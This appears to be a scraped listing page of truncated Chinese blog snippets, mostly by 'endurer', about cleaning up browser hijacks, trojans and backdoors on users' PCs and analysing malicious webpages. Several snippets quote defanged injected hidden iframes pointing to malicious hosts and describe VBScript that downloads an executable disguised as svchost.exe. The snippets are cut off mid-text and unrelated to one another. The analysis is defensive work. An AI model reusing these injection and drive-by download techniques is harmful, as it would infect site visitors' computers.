其他

endurer 原創2006-11-07 第1版有位網友的電腦中的瀏覽器被www.ting789.com劫持，並發來了HijackThis掃描的log。在log中發現如下可疑項目：/---------F3 - REG:win.ini: load=C:/windows/mobsync.exeO4 - 啟動項HKLM//Run: [mobsync] C:/windows/mobsync.exeO4 - Startup: 0A5021.exeO4 - Global Startup:

作者： Phillip Perkins2005-10-20 11:15

endurer 原創2007-01-29 第1版QQ收到如下資訊：/-------hxxp://www.a**hw**l**q*t.com/**1*23**.html 這裡有我的照片大家來看下順便給個評價謝謝了-------/開啟該網頁，沒有內容，但網頁中的VBScript代碼會利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下載檔案 123.exe，儲存為 %temp%/svchost.exe，然後調用自訂函數tcsafe1exe(m5,X9

檔案夾生出.exe尾巴？原來是MS-DOS.com,fonts.exe,Default.exe,HelpHost.com等做怪2 endurer 原創2009-02-25 第1版 （續1） 部分惡意程式資訊 檔案說明符 : D:/auto.exe屬性 : --HR數位簽章:否PE檔案:是擷取檔案版本資訊大小失敗!建立時間 : 2008-9-20 16:28:13修改時間 : 2008-9-13 4:43:36大小 : 33276 位元組 32.508 KBMD5 : 83db0cdad746f7

Disable socket pooling in Windows 2000 Server在win 2000 Server中禁用通訊端池by  Jim Boyce  作者： Jim Boyce 翻譯：purpleendurerKeywords:  Windows 2000 | Internet | Servers | Web servers關鍵字：Windows 2000 | Internet | 伺服器 | Web伺服器http://techrepublic.com.com/5100-1087

endurer 原創2006-11-08 第1版該圖書資訊網首頁首部被加入代碼：＜iframe src=hxxp://www*.book***info**.com.cn/change.htm width=0 height=0 frameborder=0＞＜/iframe＞change.htm 的內容為：/--------＜html＞ ＜iframe src="hxxp://www*.book***info**.com.cn/ind/caohui.htm" width="0" height="0"

endurer 原創2006-12-29 第1版一位網友的電腦出現問題：開啟IE時出錯關閉，讓偶幫忙檢修。通過QQ遠程協助進行。雙擊案頭上的IE表徵圖，彈出5460.dll引起錯誤的資訊框。用 pe_xscan 掃描 log，發現如下可疑項：/===========pe_xscan by Purple Endurer2006-12-29 12:35:22Windows XP Service Pack 2(5.1.2600)管理使用者組C:/WINDOWS/Explorer.EXE*1676   

endurer　原創2006-05-10　第3版　補充一個執行個體2006-05-06　第2版　補充卡巴斯基的反應2006-05-03　第1版有網友遇到71791.com瀏覽器劫持問題，與我以前寫的分析和解決方案（見：關於www.71791.com的問題 ）不同，並把HijackThis掃描的log發了過來。在log中，發現如下可疑項目：  作業系統：  Windows XP SP1 (WinNT 5.01.2600)瀏覽器：    Internet Explorer v6.00 SP1 (6.

endurer　原創2006-08-16 第1版有一位網友電腦這幾天瑞星總報告發現RootKit.Vanti.kn、Trojan.PSW.JHOnline.eqo、Trojan.PSW.LMir.ktn等病毒，請偶幫忙看看。先運行瑞星註冊表修複工具，沒有發現被修改的項目。然後檢查瑞星的殺毒曆史，開啟瑞星注視窗，發現瑞星病毒庫還是8月10日的，立即升級。再檢查瑞星的定時升級設定，升級頻率居然是一個星期，改成每天一次。瑞星升級完成後，查殺記憶體、引導區和C盤。同時到

滑鼠有時亂跑？毒霸、卡巴衝突還是BackDoor.PcClient引起？endurer 原創2007-07-16 第1版昨晚一位網友說他的電腦的滑鼠有時會亂跑，讓偶QQ遠程協助。有點懷疑網友的電腦中了後門。下載 pe_xscan 掃描 log 分析，發現：/---pe_xscan 07-06-23 by Purple Endurer2007-7-15 21:28:25Windows XP Service Pack 2(5.1.2600)管理使用者組O2 - BHO Tencent

endurer　原創2006-08-16　第1版一位網友的電腦，查殺病毒後，雙擊案頭上的IE表徵圖卻彈出對話方塊，提示找不到檔案iexplore.com。估計是中了Trojan.PSW.Lmir、Trojan.PSW.Misc之類的網遊盜號木馬，註冊表的有關索引值被修改了。通過QQ遠程協助。開啟登錄編輯程式，搜尋：iexplore.com將找到的項目的值中的 iexplore.com 改為

endurer　原創2006-08-17 第1版一位網友的電腦，這兩天瑞星開機掃描總報告發現Backdoor.Gpigeon.uql。如：/------------病毒名稱 處理結果 發現日期 路徑檔案病毒來源Backdoor.Gpigeon.uql 清除成功  2006-08-15 18:08 IEXPLORE.EXE>>C:/Program Files/Internet Explorer/IEXPLORE.EXE本機------------/使用HijackThis（可以到

endurer 原創2006-12-08 第1版昨天繼續幫那位遭遇www.6781.com劫持瀏覽器和Worm.Snake.a等的網友處理。見:遭遇www.6781.com劫持瀏覽器和Worm.Snake.a等http://endurer.bokee.com/5914250.html那位網友已經安裝了瑞星殺毒軟體2006下載版，上回列出的幾個檔案都找不到了。但IE首頁還會被改為www.6781.com。再用HijackThis產生啟動項列表，發現可疑服務/-----------msqmx: /?

Trojan.PSW.Win32.GameOL,Trojan.Win32.Undef,Trojan.DL.Win32.Undef等1endurer 原創2008-09-11 第1版今天一位朋友的電腦最近反應很慢，請偶幫忙檢修。開啟工作管理員，發現一個名為kcodn32.exe的陌生進程，終止了。用pe_xscan 掃描 log 分析，發現如下可疑項： /===pe_xscan 08-08-01 by Purple Endurer 2000-9-11 17:36:12 Windows XP

endurer 原創2007-01-09 第1版今天中午，一位網友說他電腦中的卡巴到期了，讓偶幫換殺軟。這位網友電腦中裝有偶辛辛苦苦找來的 KIS 6，應該是12月才到期的啊。上門檢查，果然卡巴提示到期了……雖然可以手頭上有可以使用半年的KAV6的KEY，但為了避免麻煩，還是裝個可以用一年的瑞星下載版罷。到瑞星網站把瑞星殺毒軟體和防火牆軟體安裝程式下載過來……剛卸掉 KIS

 fontsapcum.dll,aaudstum.sys,HBKernel.sys,Hev32_c.sys,Windows64.Sys等1endurer 原創2008-07-23 第1版一位朋友說他的電腦昨晚中了病毒，系統曾提示系統檔案被替換，要求插入windows安裝光碟片；開啟IE時系統失去響應……用瑞星查殺病毒後，IME表徵圖不見了，請偶幫忙檢修。用 pe_xscan 掃描 log 並分析，發現如下可疑項： pe_xscan 08-07-02 by Purple Endurer 2008-

又遇灰鴿子GrayPigeon_Hacker.com.cn endurer 原創2009-02-16 第1版 一位網友的電腦的滑鼠會自己活動，進行開啟視窗之類操作，覺得可能是被別人遠端控制了。請偶協助檢查。用網友的電腦中裝的超級巡警檢查系統服務，發現一個名為GrayPigeon_Hacker.com.cn的服務項，明顯是灰鴿子的。用pe_xscan 掃描出來如下： O23 - 服務: GrayPigeon_Hacker.com.cn (GrayPigeon_Hacker.com.cn) - C:

endurer　原創2006-08-21　第1版網站首頁插入如下代碼：/------------＜iframe src="hxxp://www.ac***66.cn/8***8/index.htm" width="0" height="0" frameborder="0"＞＜/iframe＞------------/hxxp://www.ac***66.cn/8***8/index.htm 的內容為：/--------＜SCRIPT language="JavaScript"＞function

endurer 原創2007-01-29 第2版 補充 Kaspersky 的反應2007-01-28 第1版QQ收到的資訊中包含網址：hxxp://hiuz***uo*ai.cn/hxxp://hiuz***uo*ai.cn/　的網頁中包含代碼：/-------＜IFRAME marginWidth=0 marginHeight=0 src="hxxp://i***v*r.bt***fan.net/xskj.htm" frameBorder=0 width=0 scrolling=no

endurer　原創2006-05-04　第1版某網站被加入：  ＜iframe src="hxxp://95762.***512j.com/" width="0" height="0"＞   hxxp://95762.***512j.com/index的內容為:  ＜iframe src="hxxp://www.***kkkshop.com/images/index.htm" width="0"